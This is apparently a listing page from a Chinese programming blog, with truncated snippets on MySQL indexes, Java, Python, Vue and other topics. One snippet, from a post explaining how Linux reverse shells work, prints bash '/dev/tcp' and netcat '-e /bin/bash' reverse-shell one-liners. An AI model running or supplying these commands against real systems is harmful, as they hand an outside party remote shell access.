-
[综合] Mysql索引常见问题汇总
Q1:数据库有哪些索引?优缺点是什么? 1.B树索引:大多数数据库采用的索引(innoDB采用的是b+树)。能够加快访问数据的速度,尤其是范围数据的查找非常快。缺点是只能从索引的最左列开始查找,也不能跳过索引中的列,如果查询中有某个列用到了范围查询,则右边所有列都无法使用索引优化查找。 2.哈希索引...
17
热度 -
[综合] AOP方式配置日志,打印uri、url、入参参数名、入参参数值、返回结果。
1、maven的pom配置,javassist和gson的jar依赖。 <!--GSONaddbyyxt2020.10.15--> <dependency><groupId>com.google.code.gson</groupId><artif...
41
热度 -
[综合] linux反弹shell的原理详解
完整命令 反弹shell命令: 12bash-i>&/dev/tcp/10.0.0.1/80800>&1bash-i>/dev/tcp/ip/port0>&12>&1利用nc反弹shell: 1nc-lvvp12345-t-e/bin/b...
77
热度 -
[综合] 2020-10-16如何分析食品是否合格了
是指将宰后的整只猪胴体沿脊椎中线,纵向锯(劈)成两分体的猪肉。 鲜片猪肉宰后的片猪肉,经过凉肉,但不经过冷却工艺过翟的猪肉。? 冻片猪肉是指冻结工艺过程,其后腿肌肉深层中心温度不高于-15℃的猪肉。色泽、弹性、粘度、气味、挥发性盐基氮、汞、水分、冷冻中心温度 色泽GB9959.1-2001 弹性GB...
5
热度 -
[综合] Math.Round()并没有四舍五入
Math.Round() 色即是空,空即是色。 C#中的Math.Round()并不是使用的"四舍五入"法。其实在VB、VBScript、C#、J#、T-SQL中Round函数都是采用Banker’srounding(银行家算法),即:四舍六入五取偶。事实上这也是IEEE的规范,因此所有符合IE...
58
热度 -
[综合] leetcode-617-合并二叉树-java
题目及测试 packagepid617; /*617.合并二叉树给定两个二叉树,想象当你将它们中的一个覆盖到另一个上时,两个二叉树的一些节点便会重叠。你需要将他们合并为一个新的二叉树。合并的规则是如果两个节点重叠,那么将他们的值相加作为节点合并后的新值,否则不为NULL的节点将直接作为新二叉树的节点...
3
热度 -
[综合] Andersen Global携手吉布提合作公司扩展东非业务
旧金山--(美国商业资讯)--AndersenGlobal已通过与总部位于吉布提市的Avocats&Associés(CAA)的合作协议,在吉布提新兴市场建立业务,进一步巩固了该组织在东非的现有平台优势。 CAA成立于2015年,是一家全方位服务型律师事务所,在多个领域为客户提供咨询服务,...
1
热度 -
[综合] AtomicLong中的incrementAndGet方法线程安全的么
publicfinallongincrementAndGet(){returnunsafe.getAndAddLong(this,valueOffset,1L)+1L; } AtomicLong源码中的incrementAndGet方,unsafe.getAndAddLong(this,valueO...
18
热度 -
[综合] mysql查看表锁状态
查询是否锁表showOPENTABLESwhereIn_use>0;查看所有进程MySQL:showprocesslist;mariabd:showfullprocesslist;查询到相对应的进程===然后killid杀掉指定mysql连接的进程号kill$pid查看正在锁的事务SELECT...
25
热度 -
[综合] 对pandas列中内容整体做操作
#字符串切片赋值 df['item']=df['item'].astype(str).str[1:] 如果列内容是字符串,可以 df['item']=df['item'].str[1:] #正则表达式赋值 df['item']=df['item'].str.extract(r'([0-9]+).')...
12
热度 -
[综合] MYSQL索引创建与删除
一、创建索引 索引的创建可以在CREATETABLE语句中进行,也可以单独用CREATEINDEX或ALTERTABLE来给表增加索引。 使用ALTERTABLE语句创建索引 //创建普通索引 altertabletable_nameaddindexindex_name(column_list)...
12
热度 -
[综合] MYSQL创建、删除、修改索引语法
索引分类: 主键索引:不能为null,唯一索引可以为null单值索引:单列,每个表可以有多个唯一索引:不能重复复合索引:多个列构成的索引,相当于二级目录name,age两个张三,再看年龄; 创建索引: 一、create索引类型索引名on表单值:createindexdep_indexontb(dep...
24
热度 -
[综合] 华为鸿蒙系统HarmonyOS学习之八:鸿蒙Harmony从1.0到2.0的提升
华为鸿蒙系统HarmonyOS学习之八:鸿蒙Harmony从1.0到2.0的提升 相较于鸿蒙OS1.0,鸿蒙OS2.0有哪些方面的本质提升?这是自2.0发布以来,大家很关心的问题。 在2019年的最初发布的版本,华为HarmonyOS1.0被定义为面向未来的分布式操作系统,包括分布式能力,一次开发、...
88
热度 -
[综合] 根据Limelight Networks的调研显示,流媒体视频观看量创历史新高
全球近半数的消费者增加付费订阅,观看越来越多的用户原创内容 亚利桑那州斯科茨代尔--(美国商业资讯)--在线视频比以往任何时候都更受欢迎,全球观看者每周平均观看近8个小时(7小时55分钟)。疫情期间,随着消费者待在家,视频观看量在过去一年中增长了16%。这是根据由LimelightNetworks...
93
热度 -
97
热度 -
27
热度 -
[综合] vfio设备直通虚拟机
vfio设备直通虚拟机可以使虚拟机直接与虚拟机交互获得较好的性能。关于vfio的详细讲解我觉得李强的《qemu/kvm源码分析与应用》讲的很好。本文只讲一下如何使用。 环境要求: hostkernel:设置如下config CONFIG_VFIO_IOMMU_TYPE1=m CONFIG_VFI...
97
热度 -
[综合] python中for - else中的else存在的必要性
foriinrange(3):ifi==1:breakprint(i) else:print("else")foriinrange(3):ifi>0:continueprint(i) else:print("else") 首先请参见上一份代码,先猜猜结果是啥,如果认为一样的,说明这篇博客还是有...
85
热度 -
[综合] vue------Vue 不能检测数组和对象的变化,采用set方法解决(即修改的数据非响应式)。以及异步更新队列
对象的处理:(对于已经创建的实例,Vue不允许动态添加根级别的响应式property) Vue无法检测property(属性)的添加或移除。 由于vue会在初始化实例时对property执行getter/setter执行转化, 所以property必须在data对象上存在才能让Vue将它转换为...
31
热度 -
[综合] JNI编程中如何传递参数和返回值
首先要强调的是,native方法不但可以传递Java的基本类型做参数,还可以传递更复杂的类型,比如String,数组,甚至自定义的类。这一切都可以在jni.h中找到答案。 1.Java基本类型的传递 用过Java的人都知道,Java中的基本类型包括boolean,byte,char,short,in...
26
热度